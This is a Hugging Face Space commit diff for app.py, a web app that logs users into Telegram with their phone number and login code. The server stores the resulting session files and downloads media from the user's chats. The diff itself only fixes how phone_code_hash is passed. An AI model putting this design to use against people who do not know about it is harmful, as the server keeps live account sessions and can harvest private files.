Spaces:
Paused
Paused
Update app.py
Browse files88 unmodified lines89909192939495964 unmodified lines1011021031041051061074 unmodified lines11211311411511211611711811951 unmodified lines1711721731741751761772 unmodified lines18018118217817918318418518618718818919018219119219319469 unmodified lines26426526625826726826927088 unmodified lines </div> <script> let phone = ''; let phoneCodeHash = ''; // Added to store phone_code_hash
async function startLogin() { phone = document.getElementById('phone').value; const response = await fetch('/login', {4 unmodified lines const result = await response.json(); alert(result.message); if (result.success) { phoneCodeHash = result.phone_code_hash; // Store the received hash document.getElementById('code').style.display = 'inline'; document.getElementById('submitCode').style.display = 'inline'; }4 unmodified lines const response = await fetch('/login', { method: 'POST', headers: { 'Content-Type': 'application/json' }, // Pass phone_code_hash here body: JSON.stringify({ phone, code, step: 'code' }) body: JSON.stringify({ phone, code, phone_code_hash: phoneCodeHash, step: 'code' }) }); const result = await response.json(); alert(result.message);51 unmodified lines phone = data.get('phone') code = data.get('code') password = data.get('password') phone_code_hash = data.get('phone_code_hash') # Get phone_code_hash from request step = data.get('step') session_file = f"{SESSION_DIR}/{hashlib.md5(phone.encode()).hexdigest()}.session"
2 unmodified lines try: if step == 'start': await client.connect() await client.send_code_request(phone) return {'success': True, 'message': 'Code sent to your Telegram'} sent_code = await client.send_code_request(phone) # Return phone_code_hash to the frontend return {'success': True, 'message': 'Code sent to your Telegram', 'phone_code_hash': sent_code.phone_code_hash} elif step == 'code': await client.connect() if not phone_code_hash: return {'success': False, 'message': 'phone_code_hash is missing for code step.'} # Pass phone_code_hash explicitly me = await client.sign_in(phone, code) me = await client.sign_in(phone, code, phone_code_hash=phone_code_hash) with sqlite3.connect(DB_PATH) as conn: c = conn.cursor() c.execute('INSERT OR REPLACE INTO users (telegram_id, username, phone, session_file) VALUES (?, ?, ?, ?)',69 unmodified lines async for message in client.iter_messages(dialog, limit=10): if message.media: file_path = await client.download_media(message, DOWNLOAD_DIR) if file_path: # Ensure file was actually downloaded if file_path: files.append({'chat': dialog.title, 'file': Path(file_path).name}) finally: if client.is_connected():app.py+14-5